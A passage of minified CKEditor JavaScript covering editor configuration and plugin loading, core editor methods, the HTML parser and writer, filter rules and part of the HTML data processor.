o(e){if(!(t=e.config.customConfig))return!1;var t=CKEDITOR.getUrl(t),n=l[t]||(l[t]={});return n.fn?(n.fn.call(e,e.config),(CKEDITOR.getUrl(e.config.customConfig)==t||!o(e))&&e.fireOnce("customConfigLoaded")):CKEDITOR.scriptLoader.queue(t,(function(){n.fn=CKEDITOR.editorConfig?CKEDITOR.editorConfig:function(){},o(e)})),!0}function r(e,t){e.on("customConfigLoaded",(function(){if(t){if(t.on)for(var n in t.on)e.on(n,t.on[n]);CKEDITOR.tools.extend(e.config,t,!0),delete e.config.on}n=e.config,e.readOnly=!(!n.readOnly&&!(e.elementMode==CKEDITOR.ELEMENT_MODE_INLINE?e.element.is("textarea")?e.element.hasAttribute("disabled"):e.element.isReadOnly():e.elementMode==CKEDITOR.ELEMENT_MODE_REPLACE&&e.element.hasAttribute("disabled"))),e.blockless=e.elementMode==CKEDITOR.ELEMENT_MODE_INLINE&&!(e.element.is("textarea")||CKEDITOR.dtd[e.element.getName()].p),e.tabIndex=n.tabIndex||e.element&&e.element.getAttribute("tabindex")||0,e.activeEnterMode=e.enterMode=e.blockless?CKEDITOR.ENTER_BR:n.enterMode,e.activeShiftEnterMode=e.shiftEnterMode=e.blockless?CKEDITOR.ENTER_BR:n.shiftEnterMode,n.skin&&(CKEDITOR.skinName=n.skin),e.fireOnce("configLoaded"),e.dataProcessor=new CKEDITOR.htmlDataProcessor(e),e.filter=e.activeFilter=new CKEDITOR.filter(e),function(e){CKEDITOR.skin.loadPart("editor",(function(){!function(e){CKEDITOR.lang.load(e.config.language,e.config.defaultLanguage,(function(t,n){var i=e.config.title;e.langCode=t,e.lang=CKEDITOR.tools.prototypedCopy(n),e.title="string"==typeof i||!1===i?i:[e.lang.editor,e.name].join(", "),CKEDITOR.env.gecko&&CKEDITOR.env.version<10900&&"rtl"==e.lang.dir&&(e.lang.dir="ltr"),e.config.contentsLangDirection||(e.config.contentsLangDirection=e.elementMode==CKEDITOR.ELEMENT_MODE_INLINE?e.element.getDirection(1):e.lang.dir),e.fire("langLoaded"),function(e){e.getStylesSet((function(t){e.once("loaded",(function(){e.fire("stylesSet",{styles:t})}),null,null,1),function(e){var t=e.config,n=t.plugins,i=t.extraPlugins,o=t.removePlugins;if(i){var r=RegExp("(?:^|,)(?:"+i.replace(/\s*,\s*/g,"|")+")(?=,|$)","g");n=(n=n.replace(r,""))+","+i}if(o){var a=RegExp("(?:^|,)(?:"+o.replace(/\s*,\s*/g,"|")+")(?=,|$)","g");n=n.replace(a,"")}CKEDITOR.env.air&&(n+=",adobeair"),CKEDITOR.plugins.load(n.split(","),(function(n){var i=[],o=[],r=[];for(var s in e.plugins=n,n){var l,c=n[s],d=c.lang,u=null,h=c.requires;if(CKEDITOR.tools.isArray(h)&&(h=h.join(",")),h&&(l=h.match(a)))for(;h=l.pop();)CKEDITOR.tools.setTimeout((function(e,t){throw Error('Plugin "'+e.replace(",","")+'" cannot be removed from the plugins list, because it\'s required by "'+t+'" plugin.')}),0,null,[h,s]);d&&!e.lang[s]&&(d.split&&(d=d.split(",")),u=CKEDITOR.tools.indexOf(d,e.langCode)>=0?e.langCode:(u=e.langCode.replace(/-.*/,""))!=e.langCode&&CKEDITOR.tools.indexOf(d,u)>=0?u:CKEDITOR.tools.indexOf(d,"en")>=0?"en":d[0],c.langEntries&&c.langEntries[u]?(e.lang[s]=c.langEntries[u],u=null):r.push(CKEDITOR.getUrl(c.path+"lang/"+u+".js"))),o.push(u),i.push(c)}CKEDITOR.scriptLoader.load(r,(function(){for(var n=["beforeInit","init","afterInit"],r=0;r<n.length;r++)for(var a=0;a<i.length;a++){var s=i[a];0===r&&o[a]&&s.lang&&s.langEntries&&(e.lang[s.name]=s.langEntries[o[a]]),s[n[r]]&&s[n[r]](e)}for(e.fireOnce("pluginsLoaded"),t.keystrokes&&e.setKeystroke(e.config.keystrokes),a=0;a<e.config.blockedKeystrokes.length;a++)e.keystrokeHandler.blockedKeystrokes[e.config.blockedKeystrokes[a]]=1;e.status="loaded",e.fireOnce("loaded"),CKEDITOR.fire("instanceLoaded",null,e)}))}))}(e)}))}(e)}))}(e)}))}(e)})),t&&null!=t.customConfig&&(e.config.customConfig=t.customConfig),o(e)||e.fireOnce("customConfigLoaded")}function a(){var e=this.element;if(e&&this.elementMode!=CKEDITOR.ELEMENT_MODE_APPENDTO){var t=this.getData();return this.config.htmlEncodeOutput&&(t=CKEDITOR.tools.htmlEncode(t)),e.is("textarea")?e.setValue(t):e.setHtml(t),!0}return!1}e.prototype=CKEDITOR.editor.prototype,CKEDITOR.editor=e;var s=0,l={};CKEDITOR.tools.extend(CKEDITOR.editor.prototype,{addCommand:function(e,t){t.name=e.toLowerCase();var i=new CKEDITOR.command(this,t);return this.mode&&n(this,i),this.commands[e]=i},_attachToForm:function(){var e=this,t=e.element,n=new CKEDITOR.dom.element(t.$.form);if(t.is("textarea")&&n){var i=function(n){e.updateElement(),e._.required&&!t.getValue()&&!1===e.fire("required")&&n.data.preventDefault()};n.on("submit",i),n.$.submit&&n.$.submit.call&&n.$.submit.apply&&(n.$.submit=CKEDITOR.tools.override(n.$.submit,(function(e){return function(){i(),e.apply?e.apply(this):e()}}))),e.on("destroy",(function(){n.removeListener("submit",i)}))}},destroy:function(e){this.fire("beforeDestroy"),!e&&a.call(this),this.editable(null),this.status="destroyed",this.fire("destroy"),this.removeAllListeners(),CKEDITOR.remove(this),CKEDITOR.fire("instanceDestroyed",null,this)},elementPath:function(e){return(e=e||this.getSelection().getStartElement())?new CKEDITOR.dom.elementPath(e,this.editable()):null},createRange:function(){var e=this.editable();return e?new CKEDITOR.dom.range(e):null},execCommand:function(e,t){var n=this.getCommand(e),i={name:e,commandData:t,command:n};return!(!n||n.state==CKEDITOR.TRISTATE_DISABLED||!0===this.fire("beforeCommandExec",i)||(i.returnValue=n.exec(i.commandData),n.async||!0===this.fire("afterCommandExec",i)))&&i.returnValue},getCommand:function(e){return this.commands[e]},getData:function(e){!e&&this.fire("beforeGetData");var t=this._.data;return"string"!=typeof t&&(t=(t=this.element)&&this.elementMode==CKEDITOR.ELEMENT_MODE_REPLACE?t.is("textarea")?t.getValue():t.getHtml():""),t={dataValue:t},!e&&this.fire("getData",t),t.dataValue},getSnapshot:function(){var e=this.fire("getSnapshot");if("string"!=typeof e){var t=this.element;t&&this.elementMode==CKEDITOR.ELEMENT_MODE_REPLACE&&(e=t.is("textarea")?t.getValue():t.getHtml())}return e},loadSnapshot:function(e){this.fire("loadSnapshot",e)},setData:function(e,t,n){t&&this.on("dataReady",(function(e){e.removeListener(),t.call(e.editor)})),e={dataValue:e},!n&&this.fire("setData",e),this._.data=e.dataValue,!n&&this.fire("afterSetData",e)},setReadOnly:function(e){e=null==e||e,this.readOnly!=e&&(this.readOnly=e,this.keystrokeHandler.blockedKeystrokes[8]=+e,this.editable().setReadOnly(e),this.fire("readOnly"))},insertHtml:function(e,t){this.fire("insertHtml",{dataValue:e,mode:t})},insertText:function(e){this.fire("insertText",e)},insertElement:function(e){this.fire("insertElement",e)},focus:function(){this.fire("beforeFocus")},checkDirty:function(){return"ready"==this.status&&this._.previousValue!==this.getSnapshot()},resetDirty:function(){this._.previousValue=this.getSnapshot()},updateElement:function(){return a.call(this)},setKeystroke:function(){for(var e,t,n=this.keystrokeHandler.keystrokes,i=CKEDITOR.tools.isArray(arguments[0])?arguments[0]:[[].slice.call(arguments,0)],o=i.length;o--;)e=i[o],t=0,CKEDITOR.tools.isArray(e)&&(t=e[1],e=e[0]),t?n[e]=t:delete n[e]},addFeature:function(e){return this.filter.addFeature(e)},setActiveFilter:function(e){e||(e=this.filter),this.activeFilter!==e&&(this.activeFilter=e,this.fire("activeFilterChange"),e===this.filter?this.setActiveEnterMode(null,null):this.setActiveEnterMode(e.getAllowedEnterMode(this.enterMode),e.getAllowedEnterMode(this.shiftEnterMode,!0)))},setActiveEnterMode:function(e,t){e=e?this.blockless?CKEDITOR.ENTER_BR:e:this.enterMode,t=t?this.blockless?CKEDITOR.ENTER_BR:t:this.shiftEnterMode,this.activeEnterMode==e&&this.activeShiftEnterMode==t||(this.activeEnterMode=e,this.activeShiftEnterMode=t,this.fire("activeEnterModeChange"))}})}(),CKEDITOR.ELEMENT_MODE_NONE=0,CKEDITOR.ELEMENT_MODE_REPLACE=1,CKEDITOR.ELEMENT_MODE_APPENDTO=2,CKEDITOR.ELEMENT_MODE_INLINE=3,CKEDITOR.htmlParser=function(){this._={htmlPartsRegex:RegExp("<(?:(?:\\/([^>]+)>)|(?:!--([\\S|\\s]*?)--\x3e)|(?:([^\\s>]+)\\s*((?:(?:\"[^\"]*\")|(?:'[^']*')|[^\"'>])*)\\/?>))","g")}},function(){var e=/([\w\-:.]+)(?:(?:\s*=\s*(?:(?:"([^"]*)")|(?:'([^']*)')|([^\s>]+)))|(?=\s|$))/g,t={checked:1,compact:1,declare:1,defer:1,disabled:1,ismap:1,multiple:1,nohref:1,noresize:1,noshade:1,nowrap:1,readonly:1,selected:1};CKEDITOR.htmlParser.prototype={onTagOpen:function(){},onTagClose:function(){},onText:function(){},onCDATA:function(){},onComment:function(){},parse:function(n){for(var i,o,r,a=0;i=this._.htmlPartsRegex.exec(n);)if((o=i.index)>a&&(a=n.substring(a,o),r?r.push(a):this.onText(a)),a=this._.htmlPartsRegex.lastIndex,!(o=i[1])||(o=o.toLowerCase(),r&&CKEDITOR.dtd.$cdata[o]&&(this.onCDATA(r.join("")),r=null),r))if(r)r.push(i[0]);else if(o=i[3]){if(o=o.toLowerCase(),!/="/.test(o)){var s,l={},c=!(!(i=i[4])||"/"!=i.charAt(i.length-1));if(i)for(;s=e.exec(i);){var d=s[1].toLowerCase();s=s[2]||s[3]||s[4]||"",l[d]=!s&&t[d]?d:CKEDITOR.tools.htmlDecodeAttr(s)}this.onTagOpen(o,l,c),!r&&CKEDITOR.dtd.$cdata[o]&&(r=[])}}else(o=i[2])&&this.onComment(o);else this.onTagClose(o);n.length>a&&this.onText(n.substring(a,n.length))}}}(),CKEDITOR.htmlParser.basicWriter=CKEDITOR.tools.createClass({$:function(){this._={output:[]}},proto:{openTag:function(e){this._.output.push("<",e)},openTagClose:function(e,t){t?this._.output.push(" />"):this._.output.push(">")},attribute:function(e,t){"string"==typeof t&&(t=CKEDITOR.tools.htmlEncodeAttr(t)),this._.output.push(" ",e,'="',t,'"')},closeTag:function(e){this._.output.push("</",e,">")},text:function(e){this._.output.push(e)},comment:function(e){this._.output.push("\x3c!--",e,"--\x3e")},write:function(e){this._.output.push(e)},reset:function(){this._.output=[],this._.indent=!1},getHtml:function(e){var t=this._.output.join("");return e&&this.reset(),t}}}),CKEDITOR.htmlParser.node=function(){},CKEDITOR.htmlParser.node.prototype={remove:function(){var e=this.parent.children,t=CKEDITOR.tools.indexOf(e,this),n=this.previous,i=this.next;n&&(n.next=i),i&&(i.previous=n),e.splice(t,1),this.parent=null},replaceWith:function(e){var t=this.parent.children,n=CKEDITOR.tools.indexOf(t,this),i=e.previous=this.previous,o=e.next=this.next;i&&(i.next=e),o&&(o.previous=e),t[n]=e,e.parent=this.parent,this.parent=null},insertAfter:function(e){var t=e.parent.children,n=CKEDITOR.tools.indexOf(t,e),i=e.next;t.splice(n+1,0,this),this.next=e.next,this.previous=e,e.next=this,i&&(i.previous=this),this.parent=e.parent},insertBefore:function(e){var t=e.parent.children,n=CKEDITOR.tools.indexOf(t,e);t.splice(n,0,this),this.next=e,(this.previous=e.previous)&&(e.previous.next=this),e.previous=this,this.parent=e.parent},getAscendant:function(e){for(var t="function"==typeof e?e:"string"==typeof e?function(t){return t.name==e}:function(t){return t.name in e},n=this.parent;n&&n.type==CKEDITOR.NODE_ELEMENT;){if(t(n))return n;n=n.parent}return null},wrapWith:function(e){return this.replaceWith(e),e.add(this),e},getIndex:function(){return CKEDITOR.tools.indexOf(this.parent.children,this)},getFilterContext:function(e){return e||{}}},CKEDITOR.htmlParser.comment=function(e){this.value=e,this._={isBlockLike:!1}},CKEDITOR.htmlParser.comment.prototype=CKEDITOR.tools.extend(new CKEDITOR.htmlParser.node,{type:CKEDITOR.NODE_COMMENT,filter:function(e,t){var n=this.value;return(n=e.onComment(t,n,this))?"string"!=typeof n?(this.replaceWith(n),!1):(this.value=n,!0):(this.remove(),!1)},writeHtml:function(e,t){t&&this.filter(t),e.comment(this.value)}}),CKEDITOR.htmlParser.text=function(e){this.value=e,this._={isBlockLike:!1}},CKEDITOR.htmlParser.text.prototype=CKEDITOR.tools.extend(new CKEDITOR.htmlParser.node,{type:CKEDITOR.NODE_TEXT,filter:function(e,t){if(!(this.value=e.onText(t,this.value,this)))return this.remove(),!1},writeHtml:function(e,t){t&&this.filter(t),e.text(this.value)}}),CKEDITOR.htmlParser.cdata=function(e){this.value=e},CKEDITOR.htmlParser.cdata.prototype=CKEDITOR.tools.extend(new CKEDITOR.htmlParser.node,{type:CKEDITOR.NODE_TEXT,filter:function(){},writeHtml:function(e){e.write(this.value)}}),CKEDITOR.htmlParser.fragment=function(){this.children=[],this.parent=null,this._={isBlockLike:!0,hasInlineStarted:!1}},function(){function e(e){return!e.attributes["data-cke-survive"]&&("a"==e.name&&e.attributes.href||CKEDITOR.dtd.$removeEmpty[e.name])}var t=CKEDITOR.tools.extend({table:1,ul:1,ol:1,dl:1},CKEDITOR.dtd.table,CKEDITOR.dtd.ul,CKEDITOR.dtd.ol,CKEDITOR.dtd.dl),n={ol:1,ul:1},i=CKEDITOR.tools.extend({},{html:1},CKEDITOR.dtd.html,CKEDITOR.dtd.body,CKEDITOR.dtd.head,{style:1,script:1});CKEDITOR.htmlParser.fragment.fromHtml=function(o,r,a){function s(e){var t;if(E.length>0)for(var n=0;n<E.length;n++){var i=E[n],o=i.name,r=CKEDITOR.dtd[o],a=T.name&&CKEDITOR.dtd[T.name];a&&!a[o]||e&&r&&!r[e]&&CKEDITOR.dtd[e]?o==T.name&&(d(T,T.parent,1),n--):(t||(l(),t=1),(i=i.clone()).parent=T,T=i,E.splice(n,1),n--)}}function l(){for(;g.length;)d(g.shift(),T)}function c(e){if(e._.isBlockLike&&"pre"!=e.name&&"textarea"!=e.name){var t,n=e.children.length,i=e.children[n-1];i&&i.type==CKEDITOR.NODE_TEXT&&((t=CKEDITOR.tools.rtrim(i.value))?i.value=t:e.children.length=n-1)}}function d(t,n,i){n=n||T||f;var o=T;void 0===t.previous&&(u(n,t)&&(T=n,m.onTagOpen(a,{}),t.returnPoint=n=T),c(t),(!e(t)||t.children.length)&&n.add(t),"pre"==t.name&&(C=!1),"textarea"==t.name&&(p=!1)),t.returnPoint?(T=t.returnPoint,delete t.returnPoint):T=i?n:o}function u(e,t){var n,i;if((e==f||"body"==e.name)&&a&&(!e.name||CKEDITOR.dtd[e.name][a]))return(n=t.attributes&&(i=t.attributes["data-cke-real-element-type"])?i:t.name)&&n in CKEDITOR.dtd.$inline&&!(n in CKEDITOR.dtd.head)&&!t.isOrphan||t.type==CKEDITOR.NODE_TEXT}function h(e,t){return(e in CKEDITOR.dtd.$listItem||e in CKEDITOR.dtd.$tableContent)&&(e==t||"dt"==e&&"dd"==t||"dd"==e&&"dt"==t)}var m=new CKEDITOR.htmlParser,f=r instanceof CKEDITOR.htmlParser.element?r:"string"==typeof r?new CKEDITOR.htmlParser.element(r):new CKEDITOR.htmlParser.fragment,E=[],g=[],T=f,p="textarea"==f.name,C="pre"==f.name;for(m.onTagOpen=function(o,r,a,c){if((r=new CKEDITOR.htmlParser.element(o,r)).isUnknown&&a&&(r.isEmpty=!0),r.isOptionalClose=c,e(r))E.push(r);else{if("pre"==o)C=!0;else{if("br"==o&&C)return void T.add(new CKEDITOR.htmlParser.text("\n"));"textarea"==o&&(p=!0)}if("br"==o)g.push(r);else{for(;c=(a=T.name)?CKEDITOR.dtd[a]||(T._.isBlockLike?CKEDITOR.dtd.div:CKEDITOR.dtd.span):i,!(r.isUnknown||T.isUnknown||c[o]);)if(T.isOptionalClose)m.onTagClose(a);else if(o in n&&a in n)(a=(a=T.children)[a.length-1])&&"li"==a.name||d(a=new CKEDITOR.htmlParser.element("li"),T),!r.returnPoint&&(r.returnPoint=T),T=a;else if(o in CKEDITOR.dtd.$listItem&&!h(o,a))m.onTagOpen("li"==o?"ul":"dl",{},0,1);else if(a in t&&!h(o,a))!r.returnPoint&&(r.returnPoint=T),T=T.parent;else{if(a in CKEDITOR.dtd.$inline&&E.unshift(T),!T.parent){r.isOrphan=1;break}d(T,T.parent,1)}s(o),l(),r.parent=T,r.isEmpty?d(r):T=r}}},m.onTagClose=function(e){for(var t=E.length-1;t>=0;t--)if(e==E[t].name)return void E.splice(t,1);for(var n=[],i=[],o=T;o!=f&&o.name!=e;)o._.isBlockLike||i.unshift(o),n.push(o),o=o.returnPoint||o.parent;if(o!=f){for(t=0;t<n.length;t++){var r=n[t];d(r,r.parent)}T=o,o._.isBlockLike&&l(),d(o,o.parent),o==T&&(T=T.parent),E=E.concat(i)}"body"==e&&(a=!1)},m.onText=function(e){if(T._.hasInlineStarted&&!g.length||C||p||0!==(e=CKEDITOR.tools.ltrim(e)).length){var o=T.name,r=o?CKEDITOR.dtd[o]||(T._.isBlockLike?CKEDITOR.dtd.div:CKEDITOR.dtd.span):i;p||r["#"]||!(o in t)?(l(),s(),!C&&!p&&(e=e.replace(/[\t\r\n ]{2,}|[\t\r\n]/g," ")),e=new CKEDITOR.htmlParser.text(e),u(T,e)&&this.onTagOpen(a,{},0,1),T.add(e)):(m.onTagOpen(o in n?"li":"dl"==o?"dd":"table"==o?"tr":"tr"==o?"td":""),m.onText(e))}},m.onCDATA=function(e){T.add(new CKEDITOR.htmlParser.cdata(e))},m.onComment=function(e){l(),s(),T.add(new CKEDITOR.htmlParser.comment(e))},m.parse(o),l();T!=f;)d(T,T.parent,1);return c(f),f},CKEDITOR.htmlParser.fragment.prototype={type:CKEDITOR.NODE_DOCUMENT_FRAGMENT,add:function(e,t){isNaN(t)&&(t=this.children.length);var n=t>0?this.children[t-1]:null;if(n){if(e._.isBlockLike&&n.type==CKEDITOR.NODE_TEXT&&(n.value=CKEDITOR.tools.rtrim(n.value),0===n.value.length))return this.children.pop(),void this.add(e);n.next=e}e.previous=n,e.parent=this,this.children.splice(t,0,e),this._.hasInlineStarted||(this._.hasInlineStarted=e.type==CKEDITOR.NODE_TEXT||e.type==CKEDITOR.NODE_ELEMENT&&!e._.isBlockLike)},filter:function(e,t){t=this.getFilterContext(t),e.onRoot(t,this),this.filterChildren(e,!1,t)},filterChildren:function(e,t,n){if(this.childrenFilteredBy!=e.id)for(n=this.getFilterContext(n),t&&!this.parent&&e.onRoot(n,this),this.childrenFilteredBy=e.id,t=0;t<this.children.length;t++)!1===this.children[t].filter(e,n)&&t--},writeHtml:function(e,t){t&&this.filter(t),this.writeChildrenHtml(e)},writeChildrenHtml:function(e,t,n){var i=this.getFilterContext();for(n&&!this.parent&&t&&t.onRoot(i,this),t&&this.filterChildren(t,!1,i),t=0,i=(n=this.children).length;t<i;t++)n[t].writeHtml(e)},forEach:function(e,t,n){if(!(n||t&&this.type!=t))var i=e(this);if(!1!==i){n=this.children;for(var o=0;o<n.length;o++)(i=n[o]).type==CKEDITOR.NODE_ELEMENT?i.forEach(e,t):(!t||i.type==t)&&e(i)}},getFilterContext:function(e){return e||{}}}}(),function(){function e(){this.rules=[]}function t(t,n,i,o){var r,a;for(r in n)(a=t[r])||(a=t[r]=new e),a.add(n[r],i,o)}CKEDITOR.htmlParser.filter=CKEDITOR.tools.createClass({$:function(t){this.id=CKEDITOR.tools.getNextNumber(),this.elementNameRules=new e,this.attributeNameRules=new e,this.elementsRules={},this.attributesRules={},this.textRules=new e,this.commentRules=new e,this.rootRules=new e,t&&this.addRules(t,10)},proto:{addRules:function(e,n){var i;"number"==typeof n?i=n:n&&"priority"in n&&(i=n.priority),"number"!=typeof i&&(i=10),"object"!=typeof n&&(n={}),e.elementNames&&this.elementNameRules.addMany(e.elementNames,i,n),e.attributeNames&&this.attributeNameRules.addMany(e.attributeNames,i,n),e.elements&&t(this.elementsRules,e.elements,i,n),e.attributes&&t(this.attributesRules,e.attributes,i,n),e.text&&this.textRules.add(e.text,i,n),e.comment&&this.commentRules.add(e.comment,i,n),e.root&&this.rootRules.add(e.root,i,n)},applyTo:function(e){e.filter(this)},onElementName:function(e,t){return this.elementNameRules.execOnName(e,t)},onAttributeName:function(e,t){return this.attributeNameRules.execOnName(e,t)},onText:function(e,t){return this.textRules.exec(e,t)},onComment:function(e,t,n){return this.commentRules.exec(e,t,n)},onRoot:function(e,t){return this.rootRules.exec(e,t)},onElement:function(e,t){for(var n,i=[this.elementsRules["^"],this.elementsRules[t.name],this.elementsRules.$],o=0;o<3;o++)if(n=i[o]){if(!1===(n=n.exec(e,t,this)))return null;if(n&&n!=t)return this.onNode(e,n);if(t.parent&&!t.name)break}return t},onNode:function(e,t){var n=t.type;return n==CKEDITOR.NODE_ELEMENT?this.onElement(e,t):n==CKEDITOR.NODE_TEXT?new CKEDITOR.htmlParser.text(this.onText(e,t.value)):n==CKEDITOR.NODE_COMMENT?new CKEDITOR.htmlParser.comment(this.onComment(e,t.value)):null},onAttribute:function(e,t,n,i){return(n=this.attributesRules[n])?n.exec(e,i,t,this):i}}}),CKEDITOR.htmlParser.filterRulesGroup=e,e.prototype={add:function(e,t,n){this.rules.splice(this.findIndex(t),0,{value:e,priority:t,options:n})},addMany:function(e,t,n){for(var i=[this.findIndex(t),0],o=0,r=e.length;o<r;o++)i.push({value:e[o],priority:t,options:n});this.rules.splice.apply(this.rules,i)},findIndex:function(e){for(var t=this.rules,n=t.length-1;n>=0&&e<t[n].priority;)n--;return n+1},exec:function(e,t){var n,i,o,r,a=t instanceof CKEDITOR.htmlParser.node||t instanceof CKEDITOR.htmlParser.fragment,s=Array.prototype.slice.call(arguments,1),l=this.rules,c=l.length;for(r=0;r<c;r++)if(a&&(n=t.type,i=t.name),o=l[r],!e.nonEditable||o.options.applyToAll){if(!1===(o=o.value.apply(null,s)))return o;if(a){if(o&&(o.name!=i||o.type!=n))return o}else if("string"!=typeof o)return o;null!=o&&(s[0]=t=o)}return t},execOnName:function(e,t){for(var n,i=0,o=this.rules,r=o.length;t&&i<r;i++)n=o[i],e.nonEditable&&!n.options.applyToAll||(t=t.replace(n.value[0],n.value[1]));return t}}}(),function(){function e(e,t){function s(e){return e||CKEDITOR.env.needsNbspFiller?new CKEDITOR.htmlParser.text(" "):new CKEDITOR.htmlParser.element("br",{"data-cke-bogus":1})}function l(e,t){return function(o){if(o.type!=CKEDITOR.NODE_DOCUMENT_FRAGMENT){var a,l,d=[],u=n(o);if(u)for(c(u,1)&&d.push(u);u;)r(u)&&(a=i(u))&&c(a)&&((l=i(a))&&!r(l)?d.push(a):(s(f).insertAfter(a),a.remove())),u=u.previous;for(u=0;u<d.length;u++)d[u].remove();(d=CKEDITOR.env.opera&&!e||("function"==typeof t?!1!==t(o):t))&&(d=!(!f&&!CKEDITOR.env.needsBrFiller&&o.type==CKEDITOR.NODE_DOCUMENT_FRAGMENT||!f&&!CKEDITOR.env.needsBrFiller&&(document.documentMode>7||o.name in CKEDITOR.dtd.tr||o.name in CKEDITOR.dtd.$listItem)||(d=n(o))&&("form"!=o.name||"input"!=d.name))),d&&o.add(s(e))}}}function c(e,t){if((!f||CKEDITOR.env.needsBrFiller)&&e.type==CKEDITOR.NODE_ELEMENT&&"br"==e.name&&!e.attributes["data-cke-eol"])return!0;var n;if(e.type==CKEDITOR.NODE_TEXT&&(n=e.value.match(u))){if(n.index&&(new CKEDITOR.htmlParser.text(e.value.substring(0,n.index)).insertBefore(e),e.value=n[0]),!CKEDITOR.env.needsBrFiller&&f&&(!t||e.parent.name in g))return!0;if(!f&&((n=e.previous)&&"br"==n.name||!n||r(n)))return!0}return!1}var d,h={elements:{}},f="html"==t,g=CKEDITOR.tools.extend({},E);for(d in g)"#"in m[d]||delete g[d];for(d in g)h.elements[d]=l(f,!1!==e.config.fillEmptyBlocks);return h.root=l(f),h.elements.br=function(e){return function(t){if(t.parent.type!=CKEDITOR.NODE_DOCUMENT_FRAGMENT){var n=t.attributes;if("data-cke-bogus"in n||"data-cke-eol"in n)delete n["data-cke-bogus"];else{for(n=t.next;n&&o(n);)n=n.next;var l=i(t);!n&&r(t.parent)?a(t.parent,s(e)):r(n)&&l&&!r(l)&&s(e).insertBefore(n)}}}}(f),h}function t(e,t){return e!=CKEDITOR.ENTER_BR&&!1!==t&&(e==CKEDITOR.ENTER_DIV?"div":"p")}function n(e){for(e=e.children[e.children.length-1];e&&o(e);)e=e.previous;return e}function i(e){for(e=e.previous;e&&o(e);)e=e.previous;return e}function o(e){return e.type==CKEDITOR.NODE_TEXT&&!CKEDITOR.tools.trim(e.value)||e.type==CKEDITOR.NODE_ELEMENT&&e.attributes["data-cke-bookmark"]}function r(e){return e&&(e.type==CKEDITOR.NODE_ELEMENT&&e.name in E||e.type==CKEDITOR.NODE_DOCUMENT_FRAGMENT)}function a(e,t){var n=e.children[e.children.length-1];e.children.push(t),t.parent=e,n&&(n.next=t,t.previous=n)}function s(e){"false"!=(e=e.attributes).contenteditable&&(e["data-cke-editable"]=e.contenteditable?"true":1),e.contenteditable="false"}function l(e){switch((e=e.attributes)["data-cke-editable"]){case"true":e.contenteditable="true";break;case"1":delete e.contenteditable}}function c(e,t){return e.replace(t,(function(e,t,n){return 0===e.indexOf("<textarea")&&(e=t+d(n).replace(/</g,"<").replace(/>/g,">")+"</textarea>"),"<cke:encoded>"+encodeURIComponent(e)+"</cke:encoded>"}))}function d(e){return e.replace(/<\!--\{cke_protected\}\{C\}([\s\S]+?)--\>/g,(function(e,t){return decodeURIComponent(t)}))}CKEDITOR.htmlDataProcessor=function(n){var i,o,r=this;this.editor=n,this.dataFilter=i=new CKEDITOR.htmlParser.filter,this.htmlFilter=o=new CKEDITOR.htmlParser.filter,this.writer=new CKEDITOR.htmlParser.basicWriter,i.addRules(g),i.addRules(T,{applyToAll:!0}),i.addRules(e(n,"data"),{applyToAll:!0}),o.addRules(p),o.addRules(C,{applyToAll:!0}),o.addRules(e(n,"html"),{applyToAll:!0}),n.on("toHtml",(function(e){var i,o=c(o=function(e,t){for(var n=[],i=t.config.protectedSource,o=t._.dataStore||(t._.dataStore={id:1}),r=/<\!--\{cke_temp(comment)?\}(\d*?)--\>/g,a=(i=[/<script[\s\S]*?<\/script>/gi,/<noscript[\s\S]*?<\/noscript>/gi].concat(i),e=e.replace(/<\!--[\s\S]*?--\>/g,(function(e){return"\x3c!--{cke_tempcomment}"+(n.push(e)-1)+"--\x3e"})),0);a<i.length;a++)e=e.replace(i[a],(function(e){return e=e.replace(r,(function(e,t,i){return n[i]})),/cke_temp(comment)?/.test(e)?e:"\x3c!--{cke_temp}"+(n.push(e)-1)+"--\x3e"}));return(e=e.replace(r,(function(e,t,i){return"\x3c!--"+h+(t?"{C}":"")+encodeURIComponent(n[i]).replace(/--/g,"%2D%2D")+"--\x3e"}))).replace(/(['"]).*?\1/g,(function(e){return e.replace(/<\!--\{cke_protected\}([\s\S]+?)--\>/g,(function(e,t){return o[o.id]=decodeURIComponent(t),"{cke_protected_"+o.id+++"}"}))}))}(o=(e=e.data).dataValue,n),R),r=(o=(o=(o=c(o=function(e){return e.replace(I,(function(e,t,n){return"<"+t+n.replace(O,(function(e,t){return/^on/.test(t)||-1!=n.indexOf("data-cke-saved-"+t)?e:" data-cke-saved-"+(e=e.slice(1))+" data-cke-"+CKEDITOR.rnd+"-"+e}))+">"}))}(o),D)).replace(b,"$1cke:$2")).replace(_,"<cke:$1$2></cke:$1>"),o=CKEDITOR.env.opera?o:o.replace(/(<pre\b[^>]*>)(\r\n|\n)/g,"$1$2$2"),e.context||n.editable().getName());CKEDITOR.env.ie&&CKEDITOR.env.version<9&&"pre"==r&&(r="div",o="<pre>"+o+"</pre>",i=1),(r=n.document.createElement(r)).setHtml("a"+o),o=(o=r.getHtml().substr(1)).replace(RegExp(" data-cke-"+CKEDITOR.rnd+"-","ig")," "),i&&(o=o.replace(/^<pre>|<\/pre>$/gi,"")),o=d(o=function(e){return e.replace(v,(function(e,t){return decodeURIComponent(t)}))}(o=o.replace(K,"$1$2"))),e.dataValue=CKEDITOR.htmlParser.fragment.fromHtml(o,e.context,!1!==e.fixForBody&&t(e.enterMode,n.config.autoParagraph))}),null,null,5),n.on("toHtml",(function(e){e.data.filter.applyTo(e.data.dataValue,!0,e.data.dontFilter,e.data.enterMode)&&n.fire("dataFiltered")}),null,null,6),n.on("toHtml",(function(e){e.data.dataValue.filterChildren(r.dataFilter,!0)}),null,null,10),n.on("toHtml",(function(e){var t=(e=e.data).dataValue,n=new CKEDITOR.htmlParser.basicWriter;t.writeChildrenHtml(n),t=n.getHtml(!0),e.dataValue=function(e){return e.replace(/<\!--(?!{cke_protected})[\s\S]+?--\>/g,(function(e){return"\x3c!--"+h+"{C}"+encodeURIComponent(e).replace(/--/g,"%2D%2D")+"--\x3e"}))}(t)}),null,null,15),n.on("toDataFormat",(function(e){var i=e.data.dataValue;e.data.enterMode!=CKEDITOR.ENTER_BR&&(i=i.replace(/^<br *\/?>/i,"")),e.data.dataValue=CKEDITOR.htmlParser.fragment.fromHtml(i,e.data.context,t(e.data.enterMode,n.config.autoParagraph))}),null,null,5),n.on("toDataFormat",(function(e){e.data.dataValue.filterChildren(r.htmlFilter,!0)}),null,null,10),n.on("toDataFormat",(function(e){e.data.filter.applyTo(e.data.dataValue,!1,!0)}),null,null,11),n.on("toDataFormat",(function(e){var t=e.data.dataValue,i=r.writer;i.reset(),t.writeChildrenHtml(i),t=function(e,t){var n=t._.dataStore;return e.replace(/<\!--\{cke_protected\}([\s\S]+?)--\>/g,(function(e,t){return 